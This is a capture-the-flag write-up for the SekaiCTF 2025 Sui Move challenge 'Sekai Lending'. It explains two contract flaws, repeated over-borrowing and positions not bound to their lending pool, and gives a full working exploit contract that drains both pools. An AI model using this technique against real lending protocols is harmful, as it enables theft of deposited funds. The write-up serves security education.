scufFed

SekaiCTF 2025

2811 words | 14 minutes

Blockchain

Sekai Lending

Welcome to fun lending service!

Difficulty: 3 ⯁ (Hard)

Solves: 11

Sekai Lending was an interesting Sui challenge and was my first time working with Move programs, so it did take a while for me to get a solve. I’ll do up this writeup a priori, assuming no prior exposure to Sui/Move. We’ll look at snippets of the challenge along the way — the full dist can be found here.

Setup

Sui has this helpful resource, the Move Book, with fairly comprehensive instructions on how to set up a local Sui development environment. Although the dist comes with a Dockerfile, I still found it more convenient to build and debug locally, only using the Docker container to run the local challenge server.

Move itself is built on top of Rust and is thus basically semantically equivalent, so it wasn’t too hard to get a feel for what the contracts were actually doing.

In a nutshell, the dist provides us with the following:

Now that our local solving environment is in order, we can look towards actually solving the challenge.

The Premise

As the challenge name implies, we have a lending protocol where you can deposit COLLATERAL and borrow SEKAI in exchange.

The SEKAI and COLLATERAL coins just follow the regular Sui Coin Standard, with the only oddity being the differing coin decimals.

 1    // from sekai_coin.move
 2    fun init(witness: SEKAI_COIN, ctx: &mut TxContext) {
 3        let (treasury, metadata) = coin::create_currency(
 4            witness,
 5            8,
 6            b"SEKAI",
 7            b"SEKAI Coin",
 8            b"SEKAI Coin",
 9            option::none(),
10            ctx,
11        );
12        transfer::public_freeze_object(metadata);
13        transfer::public_transfer(treasury, ctx.sender());
14    }
15
16    // from colalteral_coin.move
17        fun init(witness: COLLATERAL_COIN, ctx: &mut TxContext) {
18        let (treasury, metadata) = coin::create_currency(
19            witness,
20            9,
21            b"COLLATERAL",
22            b"COLLATERAL Coin",
23            b"COLLATERAL Coin",
24            option::none(),
25            ctx,
26        );
27        transfer::public_freeze_object(metadata);
28        transfer::public_transfer(treasury, ctx.sender());
29    }

Initially I thought the decimal discrepancy would allow for some vulnerability (opportunity for rounding error) but alas, that was not the path.

In challenge.move, we see that 100 COLLAT and 100 SEKAI is initially minted for the lending contract, and the player is able to claim 10 COLLAT coins. A SEKAI_LENDING object is created with the coins minted for it.

 1public fun create(sekai_treasury: &mut TreasuryCap<SEKAI_COIN>, collateral_treasury: &mut TreasuryCap<COLLATERAL_COIN>, ctx: &mut TxContext) {
 2        let claim = coin::into_balance(coin::mint(collateral_treasury, INITIAL_CLAIM, ctx)); // 10 COLLAT
 3        let collateral_coin = coin::mint(collateral_treasury, INITIAL_COLLATERAL, ctx); // 100 COLLAT
 4        let sekai_coin = coin::mint(sekai_treasury, INITIAL_SEKAI, ctx); // 100 SEKAI
 5        let sekai_lending = sekai_lending::create(collateral_coin, sekai_coin, ctx);
 6        let challenge = Challenge {
 7            id: object::new(ctx),
 8            sekai_lending,
 9            sekai_donation: balance::zero(),
10            collateral_donation: balance::zero(),
11            claim,
12            user_positions: vector::empty()
13        };
14        transfer::public_share_object(challenge);
15    }

There’s also two functions, donate_sekai and donate_collateral whereby you can, well, donate coins to the challenge contract.

Our win condition is:

So we somehow have to drain the lending contract of almost all of its available liquidity and of all (or at least 90%) of its collateral.

Draining SEKAI

This turns out to be the easier part of the challenge whereby you only have to check the contract’s logic itself. In order to obtain SEKAI as an end-user, I have to perform the following:

Looking specifically at the borrow_coin function, we see this check performed:

1    let max_borrow = min(
2        ((convert_decimal(position.collateral_amount, COLLATERAL_DECIMALS, SEKAI_DECIMALS) * LTV_RATIO) / 100) as u128,
3        (self.borrowed_pool.value() * MAX_BORROW_RATIO / 100) as u128
4    );
5
6    assert!(borrow_amount <= max_borrow as u64, EInsufficientCollateral);

The LTV_RATIO (Loan-To-Value Ratio) and MAX_BORROW_RATIO are both 80%, so basically you can borrow up to 80% against the position.collateral_amount (or the total available borrowable SEKAI in the contract, whichever is smaller). WIth only 10 COLLAT minted at the start, how would we borrow more than the permitted 8 SEKAI?

Well, there is a simple vulnerability here! Notice that the assert compares your borrow_amount to the calculated max_borrow. However, there is no check for how much you’ve already borrowed in the entire function! This means that you can repeatedly call borrow_coin as long as the borrow_amount passes the assert (i.e. you borrow no more than 80% against the collateral deposited) and you can simply overdraft the position trivially.

Implementing the SEKAI Drain

Cross Program Invocation in Sui is surprisingly simple! For us to proceed with solving we first have to figure out, well, how to interact with the challenge. Our initial solution.move file is a little sparse:

 1module the_solution::solution {
 2
 3    use challenge::challenge::{Self, Challenge};
 4
 5    #[allow(lint(self_transfer))]
 6    public fun solve(challenge: &mut Challenge, ctx: &mut TxContext) {
 7        /*
 8        exploit code
 9        */
10    }
11
12}

With Move, however, we can simply make use of the… use declarations to refer to the existing deployed modules. In our framework-solve folder, there’s a dependency folder whereby the source of the challenge contract is found. With this, we can actually just “import” stuff from those modules:

1    use sui::tx_context::{Self, TxContext};
2    use challenge::challenge::{Self, Challenge};
3    use challenge::sekai_coin::SEKAI_COIN;
4    use challenge::collateral_coin::COLLATERAL_COIN;
5    use challenge::sekai_lending::{Self, SEKAI_LENDING, UserPosition};
6    use sui::coin::{Self, Coin};
7    use sui::transfer;

When deploying the solution contract, it needs to know where the challenge contract is deployed to on the blockchain. Thankfully, the challenge server emits that:

 1    // Send Challenge Address
 2    let mut output = String::new();
 3    fmt::write(
 4        &mut output,
 5        format_args!(
 6            "[SERVER] challenge modules published at: {}",
 7            chall_addr.to_string().as_str(),
 8        ),
 9    )
10    .unwrap();
11    stream.write(output.as_bytes()).unwrap();

For us to work with this, once we obtain the challenge address, we have to define it in the Move.toml of our solution contract’s build folder:

 1    [package]
 2    name = "the_solution"
 3    version = "0.0.1"
 4    edition = "2024.alpha"
 5
 6    [dependencies]
 7    Sui = { git = "https://github.com/MystenLabs/sui.git", subdir = "crates/sui-framework/packages/sui-framework", rev = "mainnet" }
 8
 9    [dependencies.challenge]
10    version = '1.0.0'
11    local = '../dependency'
12
13    [addresses]
14    challenge = "0x94e67b4c52a99bf6dfe5e416afd776ec30300bbff24af33d3786166446d20d61" # this is from the server
15    the_solution = "0x0"

Since we spin up a fresh server for interaction on remote and the contract code is identical, this challenge address should remain constant.

With this all in place, we can start implementing our first part of the challenge, draining of the SEKAI!

First, we create a new user position. Since we’re going to overdraft this position, it will become bad debt and we won’t be able to withdraw our collateral (in the withdraw_collateral function, there is a check that position.borrowed_amount <= max_borrow_amount). Thus, we only use 1 COLLAT to execute our draining.

1    let mut total_collateral_coin: Coin<COLLATERAL_COIN> = challenge.claim(ctx);
2    let deposit_amount = 1_000_000_000;
3    let deposit_coin = coin::split(&mut total_collateral_coin, deposit_amount, ctx);
4
5    let sekai_lending = challenge.get_sekai_lending_mut();
6
7    let mut user_position: UserPosition = sekai_lending.open_position(ctx);
8    sekai_lending.deposit_collateral(&mut user_position, deposit_coin, ctx);

Then, we will be able to borrow 0.8 SEKAI against it each time. To get 80% of all available SEKAI from the contract, this means we need to withdraw at least 100 times.

 1    let borrow_amount_each_time = 80_000_000;
 2    let mut total_borrowed_sekai = sekai_lending.borrow_coin(
 3        &mut user_position,
 4        borrow_amount_each_time,
 5        ctx
 6    );
 7    let mut i = 1;
 8    while (i < 111) {
 9        let next_borrowed_coin = sekai_lending.borrow_coin(
10            &mut user_position,
11            borrow_amount_each_time,
12            ctx
13        );
14        coin::join(&mut total_borrowed_sekai, next_borrowed_coin);
15        i = i + 1;
16    };

And that’s it for the first part of our exploit! At the very end of our contract, we need to “give up” the objects that we are using by performing a public transfer:

1    transfer::public_transfer(total_collateral_coin, tx_context::sender(ctx));
2    transfer::public_transfer(user_position, tx_context::sender(ctx));
3    transfer::public_transfer(total_borrowed_sekai, tx_context::sender(ctx));

Draining the COLLAT

Now this is the trickier part. We first look at the contract again for any instances of balance::split(&mut self.collateral_pool, ...), as that would be some point whereby coins from the collateral pool are being transferred out. There are four such instances:

It appears our best bet is to either 1) claim hella liquidation rewards somehow or 2) become admin somehow (foreshadowing).

We do need to address something first: the liquidation functionality.

There’s a massive liquidate_position function in this lending contract, but the logic itself is fairly simple.

In a lending protocol, to remain solvent, users should be able to liquidate other positions which have accrued bad debt (borrowing more than their collateral permits). By repaying their debt on their behalf, their collateral is forfeit and distributed to the liquidator and the protocol.

Here’s how it’s done in this contract:

1    let ltv = position.borrowed_amount * 100 / convert_decimal(position.collateral_amount, COLLATERAL_DECIMALS, SEKAI_DECIMALS);
2    let protocol_ltv = self.total_borrowed * 100 / convert_decimal(self.collateral_pool.value(), COLLATERAL_DECIMALS, SEKAI_DECIMALS);
3    assert!(ltv > LIQUIDATION_THRESHOLD || protocol_ltv > LIQUIDATION_THRESHOLD, ELiquidationThreshold);

Firstly, for a position you input, it checks whether it has exceeded the liquidation threshold, which is 85%. Alternatively, it checks if the entire protocol has become insolvent, whereby too much is borrowed against the total available collateral.

 1    let liquidator = tx_context::sender(ctx);
 2    let repayment_amount = coin::value(&repayment);
 3    assert!(repayment_amount >= position.borrowed_amount, EInsufficientRepayment);
 4    
 5    let debt_to_repay = position.borrowed_amount;
 6    let collateral_to_liquidate = position.collateral_amount;
 7    let protocol_fee = (collateral_to_liquidate * LIQUIDATION_PENALTY) / 100;
 8    
 9    let liquidator_reward = collateral_to_liquidate - protocol_fee;
10    
11    balance::join(&mut self.borrowed_pool, coin::into_balance(repayment));

This is the crux of the function. You repay the bad debt of the position, and the remaining collateral is split 90-10, where 90% becomes a claimable liquidator reward and 10% is kept by the protocol as a fee.

1    position.liquidation_epoch = tx_context::epoch(ctx);
2    position.is_liquidated = true;
3    position.liquidation_reward = liquidator_reward;
4    position.collateral_amount = 0;
5    position.borrowed_amount = 0;

The user position passed in is then updated to reflect that it has been liquidated, with the liquidation reward set.

But once again, we seem to be stuck. When we create user positions, we can make them liquidatable by the prior SEKAI overborrowing exploit. However, when we want to liquidate the position, we need to be able to repay that excessively borrowed SEKAI. Furthermore, when we claim the liquidation rewards, we are simply claiming 90% of the collateral we put in to make that position, so we are making a net loss.

This is where the next vulnerability in the contract comes in.

Sui follows an object centric model, and as is basically assumed thus far, you cannot arbitrarily edit the objects you pass into these functions off-chain and hope it works. If that was possible, we would just have to edit the values of the user position we pass in and withdraw however much we want.

However, there is an issue with how all the functions whereby you pass in a SEKAI_LENDING object operate: there is no check whether the user position was created in correspondence with that SEKAI_LENDING object. What this means is I can create my own SEKAI_LENDING object with its own liquidity and collateral pool, then take a user position made with a different SEKAI_LENDING object and pass it into my own.

This is powerful as:

A simple diagram looks like this:

Fig: For the visual learners

So now we have a clear exploitation path to solve the rest of the challenge!

Implementing the COLLAT Drain

We will create our own lending object with a very small amounts of SEKAI and COLLAT. However, we will make the amount of SEKAI in the liquidity pool much higher than the COLLAT amount, such that we can borrow an excess of SEKAI against the total available COLLAT.

1    let collateral_for_new_pool = coin::split(&mut total_collateral_coin, 100, ctx);
2    let sekai_for_new_pool = coin::split(&mut total_borrowed_sekai, 1_000, ctx);
3    let mut new_lending: SEKAI_LENDING = sekai_lending::create(
4        collateral_for_new_pool,
5        sekai_for_new_pool,
6        ctx
7    );

Now, we open a user position with our own lending object. After depositing collateral, we borrow against it, then remove all the collateral (which we can do, since we are the admin of our own lending object!).

1    let mut new_pos = new_lending.open_position(ctx);
2    let exploit_collateral_deposit = coin::split(&mut total_collateral_coin, 8_000_000_000, ctx);
3    new_lending.deposit_collateral(&mut new_pos, exploit_collateral_deposit, ctx);
4    let repayment_sekai = new_lending.borrow_coin(&mut new_pos, 800, ctx);
5    let removed_collateral = new_lending.remove_collateral(8_000_000_000, ctx);
6    coin::join(&mut total_collateral_coin, removed_collateral);

We’re now free to liquidate the user position, then steal the liquidation reward from the original lending object.

1    new_lending.liquidate_position(&mut new_pos, repayment_sekai, ctx);
2    let stolen_collateral = sekai_lending.claim_liquidation_reward(&mut new_pos, ctx);
3    coin::join(&mut total_collateral_coin, stolen_collateral);

From this, since we deposit 8 COLLAT, we can gain 7.2 COLLAT per liquidation reward claim off the original lending object! Now we just have to repeat this as many times as needed until we have accrued 100 COLLAT in total.

Complete Implementation

Putting everything together, we have this as our complete solution contract:

 1module the_solution::solution {
 2    use sui::tx_context::{Self, TxContext};
 3    use challenge::challenge::{Self, Challenge};
 4    use challenge::sekai_coin::SEKAI_COIN;
 5    use challenge::collateral_coin::COLLATERAL_COIN;
 6    use challenge::sekai_lending::{Self, SEKAI_LENDING, UserPosition};
 7    use sui::coin::{Self, Coin};
 8    use sui::transfer;
 9
10
11    #[allow(lint(self_transfer))]
12    public fun solve(challenge: &mut Challenge, ctx: &mut TxContext) {
13
14        let target_collat = 100 * 1_000_000_000;
15
16        let mut total_collateral_coin: Coin<COLLATERAL_COIN> = challenge.claim(ctx);
17        let deposit_amount = 1_000_000_000;
18        let deposit_coin = coin::split(&mut total_collateral_coin, deposit_amount, ctx);
19
20        let sekai_lending = challenge.get_sekai_lending_mut();
21
22        let mut user_position: UserPosition = sekai_lending.open_position(ctx);
23        sekai_lending.deposit_collateral(&mut user_position, deposit_coin, ctx);
24
25        let borrow_amount_each_time = 80_000_000;
26        let mut total_borrowed_sekai = sekai_lending.borrow_coin(
27            &mut user_position,
28            borrow_amount_each_time,
29            ctx
30        );
31        let mut i = 1;
32        while (i < 111) {
33            let next_borrowed_coin = sekai_lending.borrow_coin(
34                &mut user_position,
35                borrow_amount_each_time,
36                ctx
37            );
38            coin::join(&mut total_borrowed_sekai, next_borrowed_coin);
39            i = i + 1;
40        };
41
42
43        while (coin::value(&total_collateral_coin) < target_collat) {
44            let collateral_for_new_pool = coin::split(&mut total_collateral_coin, 100, ctx);
45            let sekai_for_new_pool = coin::split(&mut total_borrowed_sekai, 1_000, ctx);
46            let mut new_lending: SEKAI_LENDING = sekai_lending::create(
47                collateral_for_new_pool,
48                sekai_for_new_pool,
49                ctx
50            );
51
52            let mut new_pos = new_lending.open_position(ctx);
53            let exploit_collateral_deposit = coin::split(&mut total_collateral_coin, 8_000_000_000, ctx);
54            new_lending.deposit_collateral(&mut new_pos, exploit_collateral_deposit, ctx);
55            let repayment_sekai = new_lending.borrow_coin(&mut new_pos, 800, ctx);
56            let removed_collateral = new_lending.remove_collateral(8_000_000_000, ctx);
57            coin::join(&mut total_collateral_coin, removed_collateral);
58
59            new_lending.liquidate_position(&mut new_pos, repayment_sekai, ctx);
60            let stolen_collateral = sekai_lending.claim_liquidation_reward(&mut new_pos, ctx);
61            coin::join(&mut total_collateral_coin, stolen_collateral);
62
63            transfer::public_transfer(new_lending, tx_context::sender(ctx));
64            transfer::public_transfer(new_pos, tx_context::sender(ctx));
65        };
66
67        let donation_amount = 100 * 80_000_000;
68        let donation_coin = coin::split(&mut total_borrowed_sekai, donation_amount, ctx);
69        challenge.donate_sekai(donation_coin);
70        let collateral_donation_coin = coin::split(&mut total_collateral_coin, target_collat, ctx);
71        challenge.donate_collateral(collateral_donation_coin);
72
73        transfer::public_transfer(total_collateral_coin, tx_context::sender(ctx));
74        transfer::public_transfer(user_position, tx_context::sender(ctx));
75        transfer::public_transfer(total_borrowed_sekai, tx_context::sender(ctx));
76    }
77}

Run this against the remote and we get our flag!

Flag: SEKAI{fun-lending-service-zzlol}